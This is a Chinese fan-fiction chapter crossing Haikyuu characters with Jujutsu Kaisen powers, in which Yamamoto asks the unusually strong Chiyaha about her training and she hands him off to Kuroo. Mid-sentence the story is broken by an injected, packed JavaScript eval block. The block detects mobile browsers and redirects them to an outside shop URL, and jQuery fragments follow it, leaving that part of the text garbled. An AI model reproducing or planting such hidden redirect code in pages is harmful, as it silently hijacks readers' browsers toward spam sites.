高大的影子笼罩在课桌上,原本趴着的千早直起身抬头看向来人。
发现站在自己桌前的是排球部同时也是同班的山本猛虎。
千早歪了下脑袋,虽然没有直接说出口,但还是用肢体动作表达了自己的疑惑。
开学两个多月,她跟这位山本同学虽然时常碰面,却一句话都没有说过。
是的,一句话都没有说过。
所以现在这是在干什么?
一个不曾交谈过的高大健壮的男生莫名其妙地站在她的课桌前,眉头皱在一起一副凶神恶煞的样子紧盯着她。
千早对此感到有些莫名其妙,抬眼看了回去。
“那是在干什么?”
“不知道。”
“你快别看啦,怪吓人的。”
班里的一些同学都察觉到了这边的异样,三两个人聚在一起看着这边窃窃私语。
千早不想继续耗下去,动了动调整了一下坐姿,抬起左臂手肘撑在桌面上,单手托腮:
“有事吗?”
这应该是千早第一次在班级里跟山本对话。
在排球部里的时候,虽然山本不会回话但偶尔千早也会单方面跟他交谈。
比如。
“山本,你有看到小黑吗?”
“山本,你有看到研磨吗?”
“山本……”
不是找人,就是社团相关的话题,总之从来没说过别的话。
虽然每次山本都不会回话,但会肢体极其僵硬地用动作告诉她答案。
比如他没有看到小黑会直接摇头,如果看到并知道对方现在的所在地的话,会用手指帮她指一个方向。
千早也不是笨蛋,看他平时在班里的表现就知道。
山本猛虎是个不擅长跟女性相处的好人。
虽然从外观上看有些像小混混,但开学第一天就已经跟班上的男生称兄道弟,不过从未主动跟哪个女生交谈过。
千早的视线越过他,看向他身后黑板正上方的时钟。
秒针不紧不慢地走动着,但分针只差两三格就要指到数字上。
马上就要上课了。
眼瞧着面前的山本即使把整张脸都憋得涨红,也没能吐出一个字。
千早决定放过他,也放过自己。
虽然她并不在意他人对自己的看法,但总觉得再这样下去的话,恐怕下一个课间山本也会像现在这样来她桌前“站岗”。
“山本,如果你有事找我的话,可以在短信里……”
千早边说着边坐直了身子,手顺势从腮边滑落伸向口袋,想要把手机拿出来。
却见面前表情古怪的男生,双手紧握像是终于下定了什么决心一样张开嘴。
“朝、朝比奈平时都是怎么进行力量训练的?!”
声音响彻整间教室,就连走廊里走动着的同学都纷纷停下脚步,探头看向教室里。
饶是千早,都被惊得呆在原地,正在翻找手机的指尖也停在了半空中。
缓过神后她呆愣愣地抬头,看着面前因为成功将话说出口而彻底放松下来的山本。
“…啥?”
教室里因为他的大喊声安静了一瞬,然而不过片刻就突兀地响起几道大笑声。
千早看向声音来源,发现是平时经常跟山本待在一起的几个男生。
“喂山本,我还以为你难得主动找女生是要做什么,结果居然是请教这种事情吗?”
“话说问女生这种问题太逊了吧哈哈哈!”
山本闻言立刻转过身,对那几名笑话他的男生举了举拳头,“喂你们几个!待会儿可别跑!”
虽然他这么说着,但语气更像是好友之间的打闹。
许是因为主动跟千早搭过一次话放松了下来,他再次看向千早时,表情已经没有最开始那么僵硬,声音也不再磕磕巴巴。
“拜托你了,我想变得更强!”
千早张张嘴,刚想说些什么。
“叮铃——叮铃——”
是上课铃响起的声音。
-
天台上的午饭三人组,今天多了一名成员。
“所以你就因为想问这个,今天才跑过来跟我们一起吃饭的?”
黑尾听完上午发生的事情,笑了半天,坐在旁边的研磨被他拍的肩膀直疼,缓过笑意后他擦去眼角溢出的生理泪水,才终于直起身看向作为‘临时成员’加入的山本猛虎。
与同班可以胡闹的好友同学不同,黑尾比山本高了一届,不能用上午对待同学的态度来‘威胁’前辈。
山本弯腰将自己的便当盒放到长椅上,视线落到坐在椅子上正面无表情吃饭的千早身上,但口中的话语却是解释给黑尾听的。
“之前我想去做力量训练的时候,正好撞见她在做器材的清洁,然后……”山本说着说着,脑中自动浮现起当时的情形,“然后我就看到她将所有杠铃片拆下来后一口气将它们全部拿回了仓库……”
“不仅如此,周末早上我在晨跑的时候也遇到过她。”
排球部每周周六都会给部员放假休息,山本不想浪费掉一整天,所以即使是休息日也会出去晨跑。
他无法忘记当时的情形。
“这家伙一边双手拿着哑铃一边轻轻松松把我超过去了!”
闻言在场的黑尾和研磨齐齐扭头看向装作若无其事的千早。
迎着两人那直勾勾的眼神,明明没有犯错,但千早却莫名有种心虚感。
她想了想措辞,咽下口中的食物,“山本,我的训练方法对你是没有用的。”
山本张嘴想要继续追问原因,黑尾却先开了口:
“这家伙属于天生异禀,从小力气就大到惊人。”解释完他再次看向继续扒饭的千早,露出和善的笑容,“不过千早,你为什么要拿着哑铃跑步?”
山本提出的问题有人帮千早回答,但黑尾提出的问题在场却没有任何一个人可以帮她。
千早只能自己干巴巴地为自己辩解:“……之前的负重太轻了,我还没来得及买新的。”
她怎么知道会被排球部的人看到,要是早知道的话就不拿哑铃了,大不了多加几层负重。
“山本,打排球并不需要一味地追求力量。”千早看向十分渴求力量的山本,“你知道我为什么很少会打排球吗?”
山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479952|201678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本不解,但他确实很少看到千早主动碰排球。
“因为别人的失误只是丢分,我的失误可是会要人命的。”
千早告诫的话语将山本震在原地。
他没有第一时间理解这句话表达了什么,但却在缓过神来后瞬间想通了。
哪怕是在那些排球比赛中都会出现失误的情况,发球、扣球,哪一项都有可能出现失误。
朝比奈千早的力气太大了。
其他人发球扣球时没有控制好力气的话可能只是出界,但如果没控制好力气的那名选手正好是她呢?
那会让比赛从中途开始转变成事故。
山本理解了,但他依旧想要从千早那里寻得让自己变强的方法。
“我应该没办法把力量练到这种程度,但是我果然还是想知道你的训练方法。”
千早盯着目光坚定的山本,知道自己无法说服他。
所以,她选择了放弃。
“小黑,接下来就是你的工作了。”放弃的同时,千早拉了一个人来当自己的帮手。
虽然社团里的大家没有明说,但谁都知道下一任的部长非黑尾铁朗莫属。
那么,帮助部员解决问题自然也是他这个前辈加未来部长的工作之一,而非她这个连经理都算不上的外部人员。
置身事外正在看好戏的黑尾突然被拉下水,他稍稍瞪大眼睛,手指指向自己。
“诶?我吗?”
“当然了。”
千早很清楚,术式带来的加强,自然也包括了她自己的身体素质,虽说单论□□的能力恐怕以后也无法达到天与咒缚的强度,但也绝非普通人可以比的。
“我的训练方法绝对不适合他。”
虽然没能达成预期目标,山本还是接受了这个结局。
他转身朝向黑尾深深鞠了一躬。
“拜托你了黑尾前辈!”
“无论是多么辛苦的安排都可以,我会用斗志克服过去的!”
见终于让对方放弃执着于自己的训练方法,千早心中松了一口气。
她对着黑尾做出一个握拳的动作,整个人松懈下来,仿佛把这件在她眼中称得上麻烦的事情推给黑尾的不是她一般。
无视掉旁边黑尾和山本两人有些吵闹的交谈声,千早放下手中的筷子和空荡荡的便当盒抬头望向天空。
今天也是和平的一天。
-
“我说你啊,中午的时候居然就那么轻描淡写地把任务抛给我。”
社团活动结束后,千早和黑尾、研磨两人一起走出校园。
就连旁边一副事不关己的研磨也没被黑尾放过。
“还有研磨,你以为我没有看到你在偷笑吗?”不知想到什么黑尾的表情突然变得有些阴恻恻,“之后我也会让你增加训练量的。”
研磨一副不情愿的样子拉长语调诶了一声。
“对了,千早你不是说想买新的负重吗?”黑尾脚步一停,转向与前往地铁站完全相反的方向,“今天就去买吧。”
“你还记得啊。”千早嘴角浅浅的笑意消失。
黑尾有些奇怪地看着她,“那不是当然的吗?”